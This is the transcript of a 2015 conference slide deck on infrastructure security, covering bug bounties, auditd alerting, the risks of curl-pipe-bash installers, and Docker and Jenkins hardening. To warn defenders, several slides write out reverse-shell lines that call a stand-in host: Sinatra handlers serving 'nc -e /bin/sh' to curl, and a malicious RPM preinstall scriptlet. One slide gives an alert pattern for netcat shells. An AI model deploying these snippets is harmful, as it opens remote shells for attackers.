Infrastructure Security: How Hard Could it Be, Right?

Infrastructure Security: How Hard Could it Be, Right?
1 — @benjammingh for PuppetConf 2015

View Slide

To save us all time!
Important announcements.

View Slide

Who's this clown? 2
· Infrastructure security at Etsy.
· Recovered operations monkey at Puppet Labs.
· Was at that fabled PuppetCamp way back in
2009.
· Had 1300 accounts on his high school Linux
system. (:
2 https://twitter.com/skullmandible/status/411281851131523072

View Slide

I am not Tomas Doran.
· I don't know anything about Mesos or Perl.
· He's taller and his hair is on the other side.
· (he's also much smarter than me)

View Slide

Yes, I do know Kara Sowles
· She's the loveliest person.
· She likes sea slugs3.
· I'm not dying my hair blue again.
3 https://en.wikipedia.org/wiki/Nudibranch

View Slide

Setlist
· Intros. (you are here).
· Few real world problems & applications.
· Fixes, or at least coping mechanisms.
· Panicked summary based on time.
· We victoriously ride our fixies to a coﬀee shoppe
as one!

View Slide

Security!

View Slide

The problem
security is hard.

View Slide

From tiny seeds, do mighty acorns grow.
· PinkiePwn's 6 tiny bugs in Chrome to full
sandbox escape.
· Egor Homakov's 5 small bugs in Github to full
private access on GitHub.
· XSS to remote code execution in under an hour.
· Username & password stolen for HVAC system
leads to $160+ Million Target breach.

View Slide

Things that aren't
security are hard too.

View Slide

Computering is hard.
No. 1 takeaway for security types
is a sense of perspective.

View Slide

Security people aren't great secure coders.
· Snort: 10 CVEs, Wireshark: 322! CVEs
· Security Firm Bit9 Hacked, Used to Spread
Malware
· Joxean Koret on Breaking Antivurius so!ware
· Tavis from Project Zero on exploiting ESET
· BEST! FireEye just running Apache/PHP as root
!

View Slide

So who do I trust?
· No one? Always a great position for security
people, who don't want to get paid.
· Everyone? Do I have some emails with funny
cats for you to click on.
· Security vendors? If you have infinite money
and no attackers.
· Attackers!

View Slide

"You're already being probed for
security holes, do you want to
know or not?"

View Slide

Bug bounties 101:
Have one!
Bug Crowd vs. HackerOne

View Slide

Bug bounties 102:
Prepare a lot.

View Slide

Bug bounties 103:
The first few weeks will be hell.

View Slide

Bug bounties 104:
Be ready with bees!

View Slide

Security on the inside

View Slide

Armadillo security
architecture

View Slide

Cloud

View Slide

Github

View Slide


View Slide

But this doesn't happen in
real life, right?

View Slide


View Slide

Go use Gitrob
· http://michenriksen.com/blog/gitrob-putting-
the-open-source-in-osint/
· https://github.com/michenriksen/gitrob

View Slide

Auditd

View Slide

Auditd
Auditd is the best way to get command execution
logged in your infrastructure.

View Slide

Auditd
Auditd is the worst way to get this information to
a log file.
type=SYSCALL msg=audit(123:3020171): arch=c000003e syscall=59 success=yes exit=0 items=3 ppid=9200 pid=9202 auid=0 uid=1000....
typde=EXECVE msg=audit(123:3020171): argc=3 a0="/usr/bin/perl" a1="-w" a2="/bin/sketchy.pl"
type=CWD msg=audit(123:3020171): cwd="/home/superdave/hax"
type=PATH msg=audit(123:3020171): item=0 name="/bin/sketchy.pl" inode=208346 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
type=PATH msg=audit(123:3020171): item=1 name=(null) inode=200983 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00
type=PATH msg=audit(123:3020171): item=2 name=(null) inode=46 dev=fe:02 mode=0100755 ouid=0 ogid=0 rdev=00:00

View Slide

Mark Ellzey on Auditd.

View Slide

WHY?
Why are the logs multiline?

View Slide

Multiline logs are the
spawn of The Devil
Oracle's Java

View Slide

Coping with multiline auditd
· ELK: multiline filter in Logstash.
· Other: Audisp-json
· Have cash, want a decent GUI (and more): Go
use Threatstack!
· Write something yourself in python & golang: I
keep promising to OSS this ):

View Slide

Alert on sketchy things. (assumes ELK)
1. Elastalert from Yelp
2. Alert on "/bin/nc *-e /bin/sh*"
3. You will now find when someone tries to run a
reverse shell!
4. Or when yours ops people do fun things.

View Slide

curl | bash

View Slide

AHEM, "on brand slide"
exec{ "curl root.legit.pw | bash":
creates => '/tmp/backdoorshell',
user => 'root',
wrongthing => 'for_the_tshirt',
}
Puppet™ is best!

View Slide

curl legit.pw | sh

View Slide

"But I check them, obviously!"

View Slide

Sinatra example
get '/install.sh' do
if request.env['HTTP_USER_AGENT'] =~ /curl/
return 'nc -e /bin/sh root.legit.pw 2222 &'
else
return print_install_code()
end
end

View Slide

Sinatra example 2: Payback
get '/install.sh' do
ip = request.env['HTTP_CLIENT_IP']
if seen_before.include? ip
return print_install_code()
else
seen_before << ip
return 'nc -e /bin/sh root.legit.pw 2222 &'
end
end

View Slide


View Slide

curl | bash
"But this is no worse than packages."
foo$ sudo yum install sketchy
foo$ sudo aptitude install sketchy

View Slide

curl | bash
"but worse than downloading RPMs from a
random site?"
foo$ rpm --verify --check-sigs sketchy.1.33-7.rpm
foo$ dpkg-sig --verify sketchy.1.33-7.deb

View Slide

curl | bash
root# rpm -qp --scripts sketchy-1.33-7.rpm
preinstall scriptlet (using /bin/sh):
bash -c 'while : ; \
do \
nc -e /bin/sh root.legit.pw 2222 ;\
done'

View Slide

Verifiable
This doesn't exist:
foo$ curl legit.pw/sketch.sh | sudo sh --gpg-verify
No one has ever done this:
foo$ curl legit.pw/sketch.sh | gpg --verify --output - | sudo sh

View Slide

curl | bash
"But I trust HTTPS"
· HTTPS certs cost ~$6.
· If I can't make $6 by owning a system, I should
probably stop being an attacker.
· @letsencrypt will soon make this free.

View Slide

curl | bash
curl -k

View Slide

curl --yolo | \
sudo sh --yolo

View Slide

curl | bash
What to do?

View Slide

A LIVE DEMO, madness.

View Slide

Lightweight containers!

View Slide

chroot(8)

View Slide

FreeBSD Jails

View Slide

Solaris Zones

View Slide

AIX WPAR

View Slide


View Slide

Is Docker secure?

View Slide

>30% of Images in Docker
Hub Contain High
Priority Security Vulns
- Jayanth Gummaraju, Tarun Desikan
and Yoshio Turner from BanyanOps

View Slide


View Slide

As secure as Vagrant?

View Slide

But is Docker itself secure?
· Don't run things as root.
· No really, stop running things as root.
· Did I mention not running things as root.
· It is also not 1999.
(Docker 1.8 addresses some of this, with it's
changes to who it runs as)

View Slide

Securify the Docker.
· Don't use --privileged.
· Use --cap-drop all and --cap-drop
to get the minimum capabilities.
· Use Docker Notary
· Use GRSecurity (just do that anyway, if you
can.)
· Use SELinux... I may as well ask for a pony here.

View Slide

But is Docker secure?
More secure than what?

View Slide

Threat modelling for beginners
1. what are you actually defending against?
2. from whom?
3. for how much?

View Slide

Lateral movement > uid=0

View Slide

· I am not saying Docker is ZOMG unhackable.
· it's just cgroups and namespacing. (just)
· Escapes will happen.
· They have a rad security team (Hi
@diogomonica and @nathanmccauley)

View Slide

unpinchofsaltd
· You can use it in a way that is secure, enough.
· network separation & segregation still works.
· secrets/credentials still a bigger problem.
· PLEASE don't just adopt it because it's new &
shiny.
· ! " unikernels ✨ $

View Slide

By law, you must include a container ship image

View Slide

Jenkins!

View Slide

One of the main delights
with Jenkins is...

View Slide

Jenkins!
user{ 'hudson':
home => '/home/hudson',
...
}
Who's this Hudson guy?

View Slide

It's entire job is to take
arbitrary code and run it,
With access to some
secret/credential data.

View Slide

It's literally remote
code execution as a service.

View Slide

Cruft
+
all your code & (some) secrets

View Slide


View Slide

RCE as a service 6
6 Hacking Jenkins Servers With No Password

View Slide

* Disable execution on the
master Jenkins host.
* Disable anonymous access.
* (Use travis)

View Slide

But what if Jenkins could
be harnessed for good?

View Slide

Jenkins as a force for [security] good
· Gauntlt "be mean to your code"
· https://github.com/secure-pipeline
· Fscking Adobe blog on secure so!ware, zomg!

View Slide


View Slide

Summary
· Computers are apparently hard.
· Security is clearly harder still, obv.
· Actually trust and humans is hard.
· The typing is the easy bit. (ish)

View Slide

More Summary
· Complex systems lead to much more complex
security problems. (see Oauth)
· Annual pen-tests don't scale, bug bounties can
help.
· Attackers are mining any public info you have
(GitHub, S3, pastebin?)

View Slide

Yet More summary
· No really, go check all your S3 buckets...
· I beg you to stop trusting curl.
· If you put an install script online, rather than a
package, I will find you.

View Slide

Will there be a summary of summaries?
· Auditd is awful, but it can be fewer awful.
· Jenkins, you probably have to have one.
· but that can be okay, nay, even useful for
security.

View Slide

A summary appeared, what happened next will
shock you
· Docker and security can be used in the same
sentence.
· Understand your threat model (Apple's guide)
· Don't be a FireEye, stop running things as root.

View Slide

Thank you
· Twidder: @benjammingh
· LinkedIn: lnkdin.me/p/benyeah
· FidoNet: 2:254/524.13
· JitHub: github.com/barn
· SpeakerDeck: speakerdeck.com/barnbarn
· Etsy: Careers <--- CodeAsCra! <--- our blog

View Slide

Infrastructure Security: How Hard Could it Be, Right?

Infrastructure Security: How Hard Could it Be, Right?

Bea Hughes

More Decks by Bea Hughes

Other Decks in Technology

Featured

Transcript